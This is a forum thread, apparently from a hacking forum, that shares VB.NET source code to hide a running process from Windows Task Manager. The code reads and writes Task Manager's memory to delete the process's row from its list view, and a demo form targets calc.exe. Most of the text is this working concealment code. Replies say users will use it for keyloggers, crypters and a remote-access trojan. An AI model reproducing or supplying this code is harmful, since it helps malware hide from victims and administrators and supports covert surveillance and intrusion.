Public Shared Function ReadProcessMemory( _

```

```

    ByVal hProcess As SafeFileHandle, _
    ByVal lpBaseAddress As IntPtr, _
    ByVal lpBuffer As StringBuilder, _
    ByVal nSize As Integer, _
    ByRef bytesRead As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function

```

```

<DllImport("kernel32")> _

```

```

Public Shared Function VirtualFreeEx( _
    ByVal hProcess As SafeFileHandle, _
    ByVal lpAddress As IntPtr, _
    ByVal dwSize As Integer, _
    ByVal dwFreeType As UInteger) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function

```

End Class

```

<StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> _

```

```

Public Structure LVITEM
    Public Mask As UInteger
    Public ItemIndex As Integer
    Public SubItemIndex As Integer
    Public State As UInteger
    Public StateMask As UInteger
    Public Text As IntPtr
    Public TextMax As Integer
    Public ImageIndex As Integer
    Public LParam As IntPtr
    Public Indent As Integer
    Public GroupId As Integer
    Public ColumnCount As Integer
    Public ColumnIndices As IntPtr
    Public ColFmt As IntPtr
    Public GroupIndex As Integer
End Structure

```

```

Public Shared Function HideProcess(ByVal imageName As String, ByVal hide As Boolean) As Boolean

```

```

    Dim hParent As IntPtr
    Dim pldTskMgr As Integer
    For Each p In Process.GetProcessesByName("taskmgr")
        hParent = p.MainWindowHandle
        pldTskMgr = p.Id
        p.Dispose()
    Next
    If hParent = IntPtr.Zero Then Return False
    ListViewHandle = IntPtr.Zero
    NativeMethods.EnumChildWindows(hParent, del1, Nothing) ' Windows calls back on
EnumChildProc for each child window.
    If ListViewHandle = IntPtr.Zero Then Return False
    Const PROCESS_VM_READ As UInteger = &H10
    Const PROCESS_VM_WRITE As UInteger = &H20

```

```

Const PROCESS_VM_OPERATION As UInteger = &H8
Using hProcess As SafeFileHandle =
NativeMethods.OpenProcess(PROCESS_VM_OPERATION Or PROCESS_VM_READ Or
PROCESS_VM_WRITE, False, pldTskMgr)
Const LVM_GETITEMCOUNT As UInteger = &H1004
Dim numItems As Integer = NativeMethods.SendMessage(ListViewHandle,
LVM_GETITEMCOUNT, UIntPtr.Zero, IntPtr.Zero).ToInt32
For i As Integer = numItems - 1 To 0 Step -1
    ' If you re-order the columns, it's not important, the image name column remains the main
item.
    Dim text As String = GetItem(i, 0, hProcess)
    If text = imageName Then
        Const LVM_DELETEITEM As Integer = &H1008
        NativeMethods.SendMessage(ListViewHandle, LVM_DELETEITEM, New
UIntPtr(CType(i, UInteger)), IntPtr.Zero)
    End If
Next
End Using
End Function

```

```

Private Shared Function EnumChildProc(ByVal hWnd As IntPtr, ByVal lParam As IntPtr) As
Boolean
Const WM_GETTEXTLENGTH As UInteger = &HE
Dim length As Integer = NativeMethods.SendMessage(hWnd, WM_GETTEXTLENGTH,
UIntPtr.Zero, IntPtr.Zero).ToInt32
length += 1
Dim buffer As New StringBuilder(length)
Const WM_GETTEXT As Integer = 13
Dim bufferSize As New UIntPtr(CType(length, UInteger))
NativeMethods.SendMessage(hWnd, WM_GETTEXT, bufferSize, buffer)
Console.WriteLine(buffer.ToString)
If buffer.ToString = ListViewCaption Then
    buffer.Capacity = 256
    NativeMethods.GetClassName(hWnd, buffer, buffer.Capacity)
    If buffer.ToString = ListViewClass Then
        ListViewHandle = hWnd
        Return False ' signals windows to stop enumerating.
    End If
End If
Return True
End Function

```

```

Private Shared Function GetItem(ByVal row As Integer, ByVal subitem As Integer, ByVal
hProcess As SafeFileHandle) As String
Dim lvitem As New LVITEM
lvitem.TextMax = 260 ' Room for 260 chars
lvitem.Mask = 1
lvitem.ItemIndex = row
lvitem.SubItemIndex = subitem
Dim pString As IntPtr
Dim s As New StringBuilder(260)
Const MEM_RELEASE As UInteger = &H8000
Try

```

```

Const MEM_COMMIT As UInteger = &H1000
Const PAGE_READWRITE As UInteger = 4
pString = NativeMethods.VirtualAllocEx(hProcess, IntPtr.Zero, 260, MEM_COMMIT,
PAGE_READWRITE)
lvitem.Text = pString
Dim pLvItem As IntPtr
Try
    pLvItem = NativeMethods.VirtualAllocEx(hProcess, IntPtr.Zero, Marshal.SizeOf(lvitem),
MEM_COMMIT, PAGE_READWRITE)
    Dim boolResult As Boolean = NativeMethods.WriteProcessMemory(hProcess, pLvItem,
lvitem, Marshal.SizeOf(lvitem), 0)
    Const LVM_GETITEMTEXT As UInteger = &H102D
    Dim rowPtr As New UIntPtr(CType(row, UInteger))
    NativeMethods.SendMessage(ListViewHandle, LVM_GETITEMTEXT, rowPtr, pLvItem)
    boolResult = NativeMethods.ReadProcessMemory(hProcess, pString, s, 260, 0)
    If boolResult = False Then Throw New Win32Exception
Finally
    If pLvItem.Equals(IntPtr.Zero) = False Then
        Dim freeResult As Boolean = NativeMethods.VirtualFreeEx(hProcess, pLvItem, 0,
MEM_RELEASE)
        If freeResult = False Then Throw New Win32Exception
    End If
End Try
Finally
    If pString.Equals(IntPtr.Zero) = False Then
        Dim freeResult As Boolean = NativeMethods.VirtualFreeEx(hProcess, pString, 0,
MEM_RELEASE)
        If freeResult = False Then Throw New Win32Exception
    End If
End Try
Return s.ToString
End Function

```

End Class

Form1

Code Option Strict On

Option Explicit On

Public Class Form1

```

Friend WithEvents ProcessView As New ListView With {.View = View.Details, .Dock =
DockStyle.Fill}

```

```

Friend WithEvents ProcessUpdateTimer As New Timer With {.Interval = 100}

```

```

Private sortColumn As Integer = 0

```

```

Private sorter As New ProcessViewItemComparer

```

```

Private Class ProcessViewItemComparer

```

```

    Implements IComparer

```

```

    Private m_ascending As Boolean

```

```

    Public Property SortAscending() As Boolean

```

```

        Get

```

```

        Return m_ascending
    End Get
    Set(ByVal value As Boolean)
        m_ascending = value
    End Set
End Property

```

```

Private m_sortByName As Boolean
Public Property SortByName() As Boolean
    Get
        Return m_sortByName
    End Get
    Set(ByVal value As Boolean)
        m_sortByName = value
    End Set
End Property

```

```

Public Function Compare(ByVal xObj As Object, ByVal yObj As Object) As Integer Implements
System.Collections.IComparer.Compare
    Dim x As ProcessViewItem = DirectCast(xObj, ProcessViewItem)
    Dim y As ProcessViewItem = DirectCast(yObj, ProcessViewItem)
    If SortByName Then
        If SortAscending Then
            Return String.Compare(x.ProcessName, y.ProcessName)
        Else
            Return String.Compare(y.ProcessName, x.ProcessName)
        End If
    Else
        If SortAscending Then
            Return x.Id - y.Id
        Else
            Return y.Id - x.Id
        End If
    End If
End Function

```

```

End Class

```

```

Sub New()
    InitializeComponent()
    Me.Controls.Add(ProcessView)
    ProcessView.Columns.Add("Name", Me.ClientSize.Width * 2 \ 3)
    ProcessView.Columns.Add("Id", Me.ClientSize.Width \ 3)
    ProcessUpdateTimer.Start()
    Me.DoubleBuffered = True
    ProcessView.ListViewItemSorter = sorter
End Sub

```

```

Private Class ProcessViewItem
    Inherits ListViewItem

    Private m_id As Integer
    Public ReadOnly Property Id() As Integer

```

```
Get
    Return m_id
End Get
End Property
```

```
Private m_processName As String
Public ReadOnly Property ProcessName() As String
    Get
        Return m_processName
    End Get
End Property
```

```
Sub New(ByVal p As Process)
    MyBase.New(p.ProcessName)
    SubItems.Add(p.Id.ToString)
    m_id = p.Id
    m_processName = p.ProcessName
End Sub
```

```
Public Overrides Function Equals(ByVal obj As Object) As Boolean
    Dim other As ProcessViewItem = TryCast(obj, ProcessViewItem)
    If other Is Nothing Then Return False
    Return other.m_id = Me.m_id
End Function
```

End Class

```
Private Sub RefreshProcessView()
    Dim items As New List(Of ProcessViewItem)
    For Each p In Process.GetProcesses
        items.Add(New ProcessViewItem(p))
        p.Dispose()
    Next
    For i As Integer = ProcessView.Items.Count - 1 To 0 Step -1
        Dim pvi As ProcessViewItem = DirectCast(ProcessView.Items(i), ProcessViewItem)
        If items.Contains(pvi) = False Then
            ProcessView.Items.RemoveAt(i)
        Else
            items.Remove(pvi)
        End If
    Next
    For Each pvi In items
        ProcessView.Items.Add(pvi)
    Next
End Sub
```

```
Private Sub ProcessUpdateTimer_Tick(ByVal sender As Object, ByVal e As System.EventArgs)
Handles ProcessUpdateTimer.Tick
    RefreshProcessView()
End Sub
```

```
Private Sub ProcessView_ColumnClick(ByVal sender As Object, ByVal e As
System.Windows.Forms.ColumnClickEventArgs) Handles ProcessView.ColumnClick
```

```

If e.Column = sortColumn Then
    sorter.SortAscending = Not sorter.SortAscending
    ProcessView.Sort()
Else
    sortColumn = e.Column
    sorter.SortByName = (sortColumn = 0)
    ProcessView.Sort()
End If
End Sub

```

```

Private Sub ProcessView_MouseDown(ByVal sender As Object, ByVal e As
System.Windows.Forms.MouseEventArgs) Handles ProcessView.MouseDown
    If e.Button = Windows.Forms.MouseButtons.Right Then
        Dim item As ProcessViewItem = DirectCast(ProcessView.SelectedItems(0),
ProcessViewItem)
        ' TODO: oops, task manager doesn't show the process name...
        ' TaskManager.HideProcess(item.ProcessName, True)
        TaskManager.HideProcess("calc.exe", True)
    End If
End Sub

```

End Class

xBroak - May 31, 2010, 3:27 am

im having real trouble getting this working, ive tried all 3 of the revised codes in here, no errors etc..
but equally the process is never hidden. (Calc)

Grieve™ - May 31, 2010, 5:17 am

Nice one. thankyou for the share! I'm using it for my keylogger and crypter.

sunbinyuan - June 25, 2011, 6:26 pm

Can still use CMD tasklist ..

iQosmo - June 25, 2011, 6:41 pm

Great piece of code for noobies' that can't code. It will help a lot of people.

Sketchy - June 25, 2011, 9:15 pm

Stop grave digging holy crow. Also this code is horrible O:

Phriently - June 25, 2011, 9:43 pm

will probably use at school... thank you

Sketchy - June 25, 2011, 10:01 pm

(Jun 25, 2011 09:43 PM)Phriently Wrote: [\[CITE\]](#) will probably use at school... thank you
Stop spamming the boards to increse your post count

Turmoil - June 25, 2011, 10:15 pm

Not working on vista 64 bit, tho nice contribution can use this for learning purposes <33

zagayou - May 19, 2018, 5:22 pm

don't work in visual basic 2010 express !!

Exeter - May 19, 2018, 7:37 pm

(May 19, 2018 05:22 PM)zagayou Wrote: [CITE](#) don't work in visual basic 2010 express !!
you have just grave dig the thread from 2011

2xqz - May 21, 2018, 9:13 am

Thank you ! It'll be so great for making my rat :)